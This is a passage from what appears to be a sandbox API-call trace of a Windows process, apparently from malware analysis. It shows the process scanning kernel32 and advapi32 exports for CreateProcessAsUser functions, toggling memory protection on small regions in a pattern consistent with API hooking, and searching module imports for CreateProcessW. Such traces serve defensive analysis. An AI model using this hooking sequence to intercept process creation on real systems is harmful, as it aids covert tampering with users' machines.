(lpString1="CancelIo", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CancelIoEx", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CheckElevation", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="ClearCommBreak", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="ClearCommError", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CloseHandle", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CloseThreadpool", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CmdBatNotification", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CommConfigDialogA", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CommConfigDialogW", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CompareCalendarDates", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CompareFileTime", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CompareStringA", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CompareStringEx", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="CompareStringW", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="ConsoleMenuControl", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="ContinueDebugEvent", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CopyContext", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CopyFileA", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CopyFileExA", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CopyFileExW", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CopyFileW", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CopyLZFile", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateActCtxA", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateActCtxW", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateDirectoryA", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateDirectoryW", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateEventA", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateEventExA", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateEventExW", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateEventW", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateFiber", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateFiberEx", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateFileA", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateFileMappingA", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateFileMappingW", lpString2="CreateProcessAsUserW") returned -1 [0064.385] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateFileW", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateHardLinkA", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateHardLinkW", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateJobObjectA", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateJobObjectW", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateJobSet", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateMailslotA", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateMailslotW", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateMutexA", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateMutexExA", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateMutexExW", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateMutexW", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreatePipe", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateProcessA", lpString2="CreateProcessAsUserW") returned -1 [0064.386] lstrcmpA (lpString1="CreateProcessAsUserW", lpString2="CreateProcessAsUserW") returned 0 [0064.386] VirtualProtect (in: lpAddress=0x76a9fcc0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fc9c | out: lpflOldProtect=0x26fc9c*=0x20) returned 1 [0064.386] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x27889f8 [0064.386] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x2789900 [0064.386] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0064.386] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x2789900 | out: hHeap=0x2390000) returned 1 [0064.386] VirtualProtect (in: lpAddress=0x76ab020a, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x26fcd0 | out: lpflOldProtect=0x26fcd0*=0x20) returned 1 [0064.387] VirtualProtect (in: lpAddress=0x76ab020a, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x26fcd0 | out: lpflOldProtect=0x26fcd0*=0x40) returned 1 [0064.387] VirtualProtect (in: lpAddress=0x76a9fcc0, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fc9c | out: lpflOldProtect=0x26fc9c*=0x40) returned 1 [0064.387] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc68, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc68, ReturnLength=0x0) returned 0x0 [0064.387] GetModuleHandleA (lpModuleName="ADVAPI32.DLL") returned 0x75220000 [0064.387] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x2789900 [0064.387] lstrcmpA (lpString1="A_SHAFinal", lpString2="CreateProcessAsUserA") returned -1 [0064.387] lstrcmpA (lpString1="A_SHAInit", lpString2="CreateProcessAsUserA") returned -1 [0064.387] lstrcmpA (lpString1="A_SHAUpdate", lpString2="CreateProcessAsUserA") returned -1 [0064.387] lstrcmpA (lpString1="AbortSystemShutdownA", lpString2="CreateProcessAsUserA") returned -1 [0064.387] lstrcmpA (lpString1="AbortSystemShutdownW", lpString2="CreateProcessAsUserA") returned -1 [0064.387] lstrcmpA (lpString1="AccessCheck", lpString2="CreateProcessAsUserA") returned -1 [0064.387] lstrcmpA (lpString1="AccessCheckAndAuditAlarmA", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AccessCheckAndAuditAlarmW", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AccessCheckByType", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AccessCheckByTypeAndAuditAlarmA", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AccessCheckByTypeAndAuditAlarmW", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AccessCheckByTypeResultList", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmA", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleA", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleW", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmW", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AddAccessAllowedAce", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AddAccessAllowedAceEx", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AddAccessAllowedObjectAce", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AddAccessDeniedAce", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AddAccessDeniedAceEx", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AddAccessDeniedObjectAce", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AddAce", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AddAuditAccessAce", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AddAuditAccessAceEx", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AddAuditAccessObjectAce", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AddConditionalAce", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AddMandatoryAce", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AddUsersToEncryptedFile", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AddUsersToEncryptedFileEx", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AdjustTokenGroups", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AdjustTokenPrivileges", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AllocateAndInitializeSid", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AllocateLocallyUniqueId", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AreAllAccessesGranted", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AreAnyAccessesGranted", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AuditComputeEffectivePolicyBySid", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AuditComputeEffectivePolicyByToken", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AuditEnumerateCategories", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AuditEnumeratePerUserPolicy", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AuditEnumerateSubCategories", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AuditFree", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AuditLookupCategoryGuidFromCategoryId", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AuditLookupCategoryIdFromCategoryGuid", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AuditLookupCategoryNameA", lpString2="CreateProcessAsUserA") returned -1 [0064.388] lstrcmpA (lpString1="AuditLookupCategoryNameW", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="AuditLookupSubCategoryNameA", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="AuditLookupSubCategoryNameW", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="AuditQueryGlobalSaclA", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="AuditQueryGlobalSaclW", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="AuditQueryPerUserPolicy", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="AuditQuerySecurity", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="AuditQuerySystemPolicy", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="AuditSetGlobalSaclA", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="AuditSetGlobalSaclW", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="AuditSetPerUserPolicy", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="AuditSetSecurity", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="AuditSetSystemPolicy", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="BackupEventLogA", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="BackupEventLogW", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="BuildExplicitAccessWithNameA", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="BuildExplicitAccessWithNameW", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="BuildImpersonateExplicitAccessWithNameA", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="BuildImpersonateExplicitAccessWithNameW", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="BuildImpersonateTrusteeA", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="BuildImpersonateTrusteeW", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="BuildSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="BuildSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="BuildTrusteeWithNameA", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="BuildTrusteeWithNameW", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndNameA", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndNameW", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndSidA", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndSidW", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="BuildTrusteeWithSidA", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="BuildTrusteeWithSidW", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="CancelOverlappedAccess", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="ChangeServiceConfig2A", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="ChangeServiceConfig2W", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="ChangeServiceConfigA", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="ChangeServiceConfigW", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="CheckTokenMembership", lpString2="CreateProcessAsUserA") returned -1 [0064.389] lstrcmpA (lpString1="ClearEventLogA", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ClearEventLogW", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="CloseCodeAuthzLevel", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="CloseEncryptedFileRaw", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="CloseEventLog", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="CloseServiceHandle", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="CloseThreadWaitChainSession", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="CloseTrace", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="CommandLineFromMsiDescriptor", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ComputeAccessTokenFromCodeAuthzLevel", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ControlService", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ControlServiceExA", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ControlServiceExW", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ControlTraceA", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ControlTraceW", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertAccessToSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertAccessToSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertSDToStringSDRootDomainA", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertSDToStringSDRootDomainW", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessA", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessNamedA", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessNamedW", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessW", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertSidToStringSidA", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertSidToStringSidW", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertStringSDToSDDomainA", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertStringSDToSDDomainW", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertStringSDToSDRootDomainA", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertStringSDToSDRootDomainW", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertStringSidToSidA", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertStringSidToSidW", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="ConvertToAutoInheritPrivateObjectSecurity", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="CopySid", lpString2="CreateProcessAsUserA") returned -1 [0064.390] lstrcmpA (lpString1="CreateCodeAuthzLevel", lpString2="CreateProcessAsUserA") returned -1 [0064.391] lstrcmpA (lpString1="CreatePrivateObjectSecurity", lpString2="CreateProcessAsUserA") returned -1 [0064.391] lstrcmpA (lpString1="CreatePrivateObjectSecurityEx", lpString2="CreateProcessAsUserA") returned -1 [0064.391] lstrcmpA (lpString1="CreatePrivateObjectSecurityWithMultipleInheritance", lpString2="CreateProcessAsUserA") returned -1 [0064.391] lstrcmpA (lpString1="CreateProcessAsUserA", lpString2="CreateProcessAsUserA") returned 0 [0064.391] VirtualProtect (in: lpAddress=0x75234c58, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fc9c | out: lpflOldProtect=0x26fc9c*=0x20) returned 1 [0064.418] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x27889f8 [0064.418] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x278d658 [0064.418] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0064.418] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278d658 | out: hHeap=0x2390000) returned 1 [0064.418] VirtualProtect (in: lpAddress=0x75292e00, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x26fcd0 | out: lpflOldProtect=0x26fcd0*=0x20) returned 1 [0064.418] VirtualProtect (in: lpAddress=0x75292e00, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x26fcd0 | out: lpflOldProtect=0x26fcd0*=0x40) returned 1 [0064.419] VirtualProtect (in: lpAddress=0x75234c58, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fc9c | out: lpflOldProtect=0x26fc9c*=0x40) returned 1 [0064.419] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc68, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc68, ReturnLength=0x0) returned 0x0 [0064.419] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x1000) returned 0x278d658 [0064.419] LoadLibraryA (lpLibFileName="PSAPI.DLL") returned 0x77310000 [0064.449] GetProcAddress (hModule=0x77310000, lpProcName="EnumProcessModules") returned 0x77311408 [0064.449] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0x278d658, cb=0x1000, lpcbNeeded=0x26fcfc | out: lphModule=0x278d658, lpcbNeeded=0x26fcfc) returned 1 [0064.451] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0xd60000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0xd60000, AllocationBase=0xd60000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.451] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.452] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e660 [0064.452] lstrcmpiA (lpString1="TraceEvent", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="GetTraceEnableFlags", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="GetTraceEnableLevel", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="GetTraceLoggerHandle", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="UnregisterTraceGuids", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="RegisterTraceGuidsW", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="RegCloseKey", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="CreateFileW", lpString2="CreateProcessW") returned -1 [0064.452] lstrcmpiA (lpString1="GetWindowsDirectoryW", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="TerminateProcess", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="HeapSetInformation", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA 